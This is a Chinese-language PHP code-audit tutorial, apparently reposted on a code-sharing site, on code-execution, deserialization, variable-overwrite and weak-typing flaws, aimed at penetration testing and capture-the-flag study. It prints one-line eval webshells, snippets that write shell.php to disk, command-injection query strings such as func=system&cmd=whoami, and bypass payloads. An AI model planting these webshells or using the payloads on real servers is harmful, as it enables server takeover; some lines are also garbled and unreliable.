代碼審計


通過源代碼,知道代碼如何執行,根據代碼執行中可能產生的問題來尋找漏洞

滲透測試->找漏洞bug->技術、銜接問題

代碼執行漏洞

PHP中可以執行代碼的函數,常用於編寫一句話木馬,可能導致代碼執行漏洞

漏洞形成原因:客戶端提交的參數,未經任何過濾,傳入可以執行代碼的函數,造成代碼執行漏洞。

常見代碼執行函數:eval()、assert()、preg_replace()、create_function()array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()文件操作函數、動態函數(b))

漏洞危害:執行代碼,寫入webshell、控制服務器

1、eval()

eval() 函數把字符串按照 PHP 代碼來計算,如常見的一句話后門程序:

<?php eval($_POST[cmd])?>
<?php 
//?cmd=phpinfo();
@eval($_GET['cmd']);
?>

php 代碼可以在雙引號中被執行

<?php 
//?cmd=${phpinfo()}
$str=$_GET['cmd'];
eval('$str="'.$str.'";');
?>
<?php 
//cmd=%27);phpinfo();//
$str=$_GET['cmd'];
eval("strtolower('$str');");
?>

2、assert()

與eval類似,字符串被 assert() 當做 PHP 代碼來執行,如:

<?php //?cmd=phpinfo()assert($_REQUEST[cmd]); ?>

3、preg_replace函數

mixed preg_replace ( mixed replacement , mixed limit = -1 [, int &$count ]] )  搜索subject中匹配pattern的部分, 以replacement進行替換。

preg_replace()函數原本是執行一個正則表達式的搜索和替換,但因為存在危險的/e修飾符,使 preg_replace()將 replacement 參數當作 PHP 代碼

<?php 
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>
<?php
preg_replace("/<php>(.*?)<\/php>/e", '\1', "<php>phpinfo()</php>");
//等價於
preg_replace("/<php>(.*?)<\/php>/e", '${1}', "<php>phpinfo()</php>");
?>

4、create_function()

create_function主要用來創建匿名函數,如果沒有嚴格對參數傳遞進行過濾,攻擊者可以構造特殊字符串傳遞

<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

5、array_map()

array_map() 函數將用戶自定義函數作用到數組中的每個值上,並返回用戶自定義函數作用后的帶有新值的數組。 回調函數接受的參數數目應該和傳遞給 array_map() 函數的數組數目一致。

<?php
//func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

6、call_user_func()/call_user_func_array () 

call_user_func — 把第一個參數作為回調函數調用,其余參數是回調函數的參數。 

call_user_func_array — 調用回調函數,並把一個數組參數作為回調函數的參數

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>
<?php
//cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

7、array_filter()

array array_filter ( array callback [, int $flag = 0 ]] ) 

依次將 array 數組中的每個值傳遞到 callback 函數。如果 callback 函數返回 true,則 array 數組的當前值會被包含在返回的結果數組中。數組的鍵名保留不變。

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

8、usort()、uasort()

usort() 通過用戶自定義的比較函數對數組進行排序。 

uasort() 使用用戶自定義的比較函數對數組中的值進行排序並保持索引關聯 。

php環境>=5.6才能用
<?php usort(...$_GET);?>
利用方式:
test.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
[POST]:x=phpinfo();
php環境>=<5.6才能用
<?php usort($_GET,'asse'.'rt');?>
利用方式:
test.php?1=1+1&2=eval($_POST[x])
[POST]:x=phpinfo();

9、文件操作函數

file_put_contents() 函數把一個字符串寫入文件中。 

fputs() 函數寫入文件

<?php 
$test='<?php eval($_POST[cmd]);?>';
file_put_contents('test1.php',$test);
?>
<?php 
fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>'); 
?>

10、動態函數

PHP函數直接由字符串拼接

<?php //?a=assert&b=phpinfo()$_GET['a']($_GET['b']);?>

<?php 
//?a=assert&b=phpinfo()
$_GET['a']($_GET['b']);
?>

反序列化漏洞

序列化目的:將內存中的數據保存到磁盤,序列化又叫對象持久化。

serialize() 序列化:使用函數serialize()可將實例序列化為字符串

unserialize() 反序列化:使用函數unserialize()可將序列化的字符串還原

1.序列化的利用

<?php
class Example {
   var $var = '';
   function __destruct() {
       eval($this->var);
   }
}unserialize($_['code']);
?>

構造漏洞利用的代碼,保存為test.php,獲取序列化值為 O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

<?phpclass Example {
  var $var = 'phpinfo();';
  function __destruct() {
      eval($this->var);
  }
}
$a=new Example();
echo serialize($a);
?>

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 即可執行phpinfo()

 

 

2.PHP SESSION反序列化

 

ini_set(‘session.serialize_handler’, ‘php_serialize’);

ini_set(‘session.serialize_handler’, ‘php’);

兩者處理session的方式不同

<?php
ini_set('session.serialize_handler','php_serialize');
//ini_set('session.serialize_handler','php');
session_start();
$_SESSION["test"]=$_GET["a"];?>
//提交?a=1111
輸出結果:
php_serialize: a:1:{s:4:"test";s:4:"1111";}
php: test|s:4:"1111";

變量覆蓋漏洞

變量覆蓋指的是用我們自定義的參數值替換程序原有的變量值,一般變量覆蓋漏洞需要結合程序的其它功能來實現完整的攻擊。

經常導致變量覆蓋漏洞場景有:$$,extract()函數,parse_str()函數,import_request_variables()使用不當,開啟了全局變量注冊等。

1.$導致的變量覆蓋問題

$$ 導致的變量覆蓋問題在CTF代碼審計題目中經常在foreach中出現,如以下的示例代碼,使用foreach來遍歷數組中的值,然后再將獲取到的數組鍵名作為變量,數組中的鍵值作為變量的值。因此就產生了變量覆蓋漏洞。請求?name=test 會將$name的值覆蓋,變為test。
<?php
//?name=test
//output:string(4) “name” string(4) “test” string(4) “test” test
$name=’thinking’;
foreach ($_GET as $key => $value)
    $$key = $value;
    var_dump($key);
    var_dump($value);
    var_dump($$key);
echo $name;
?>

2.extract()函數使用不當

extract() 該函數使用數組鍵名作為變量名,使用數組鍵值作為變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。 

<?php 
$a = "Original"; 
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); 
extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c"; ?> //運行結果:$a = Cat; $b = Dog; $c = Horse

示例

(1)文件將GET傳參進來的值用extract()函數處理
(2)如果gift非空,令content變量等於test變量,trim()函數對test變量首尾去空,如果gift變量等於centent變量,就輸出flag,否則,輸出錯誤
(3)如果我們傳參gift=1&test=1,就可以覆蓋原來的test,直接輸出flag

<?php
$test = ******;
extract($_GET);
if(isset($gift)){
    $content = trim($test);
    if($gift == $content){
        echo 'flag is:'.$flag;
    }
    else{
        echo error;
    }
}
?>

3.parse_str()變量覆蓋

parse_str():將查詢字符串解析到變量中。如果在parse_str()中可以直接傳參,有可能覆蓋變量。

<?php
parse_str("name=zkaq && age=60");
echo $name."<br/>";
echo $age;
?>

#輸出akaq和60
#相當於完成了$name ='zkaq'和$age ='60'

4.import_request_variables變量覆蓋

mport_request_variables 函數可以在 register_global = offff 時,把 GET/POST/Cookie 變量導入全局作用域中
<?php 
import_request_variables("g", "get_");
echo $get_id;
?>
//提交:?id=111
//結構:111

5.全局變量覆蓋

register_globals的意思就是注冊為全局變量,所以當On的時候,傳遞過來的值會被直接的注冊為全局變量直接使用,而Off的時候,我們需要到特定的數組里去得到它。
<?php
//?id=1
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
echo '$_GET["id"] :'.$_GET['id']."<br/>";
echo '$id :'.$id;
?>
當register_globals=Offff的時候,下一個程序接收的時候應該用$_GET['id']來接受傳遞過來的值;
當register_globals=On的時候,下一個程序可以直接使用 來 碟 受 值 也 可 芵 用 _GET['id']來接受傳遞過來的值。
如果上面的代碼中,已經對變量賦了值如,id=0,那么即使在URL中有/test.php?id=1,也不會將變量覆蓋,id值為0
<?php
echo "Register_globals: ".(int)ini_get("register_globals")."<br/>";
if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a."<br/>";
print $_GET[b];
?>
在register_globals=ON時,
提交/test.php?a=1&b=2 , 變量a未初始化_GET[b]=2
提交/test.php??GLOBALS[a]=1&b=2,_GET[b]=2

php弱類型

php弱類型函數:md5(),    json_encode(),   array_search(),  strcmp(),  switch()  ,in_array()  

md5 繞過{hash 比較缺陷}

PHP在處理哈希字符串時,會利用”!=”或”==”來對哈希值進行比較,在進行比較運算時,如果遇到了 0e\d+ 這種字符串,就會將這種字符串解析為科學計數法。
md5(str)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a

sha1(str)
sha1('aaroZmOk')
sha1('aaK1STfY')
sha1('aaO8zKZF')
sha1('aa3OFF9m')
MD5不能處理數組,若有以下判斷則可用數組繞過:
if(@md5($_GET['a']) == @md5($_GET['b']))
{
echo "yes";
}
//http://127.0.0.1/test.php?a[]=1&b[]=2//$_GET: array(2) { ["a"]=> array(1) { [0]=>
string(1) "1" } ["b"]=> array(1) { [0]=> string(1) "2" } }

json繞過

<?php
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    $key ="*********";
    if ($message->key == $key) {
        echo "flag";
    } 
    else {
        echo "fail";
    }
 }
 else{
     echo "~~~~";
 }
?>

輸入一個json類型的字符串,json_decode函數解密成一個數組,判斷數組中key的值是否等於$ key的值,但是$ key的值我們不知道,但是可以利用0==“admin” 這種形式繞過
最終payload message={“key”:0}

array_search is_array繞過

array_search() 函數,在數組中查找一個鍵值。如果找到了該值,則返回匹配該元素所對應的鍵名。如果沒找到,則返回 false

strcmp()

strcmp() 函數比較兩個字符串,如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
先將兩個參數先轉換成string類型
當比較數組和字符串的時候,返回是0
如果參數不是string類型,直接return
<?php
$id=$_GET['id'];
if (strcmp('test',$id)) {
echo 'YES!';
} else{
echo 'NO!';
}
?>
//提交:?id[]=
//結果:YES

switch()

<?php
$a="4admin";
switch ($a) {
    case 1:
        echo "fail1";
        break;
    case 2:
        echo "fail2";
        break;
    case 3:
        echo "fail3";
        break;
    case 4:
        echo "sucess";  //結果輸出success;
        break;
    default:
        echo "failall";
        break;
}
?>

分析 : 在進行switch 選擇時 $a會被強制轉換成整形進行對照
所以 令$a="4asdfs" =int(4)成功進行繞過

in_array()

in_array() 的定義是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ),如果strict參數沒有提供,那么in_array就會使用松散比較來判斷 $needle 是否在 $haystack 中。當 $strict 的值為 true 時,in_array() 會比較 $needls 的類型和 $haystack 中的類型是否相同。如下:

$array = [0, 1, 2, '3'];
in_array('abc', $array); # true
in_array('1bc', $array); # true

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM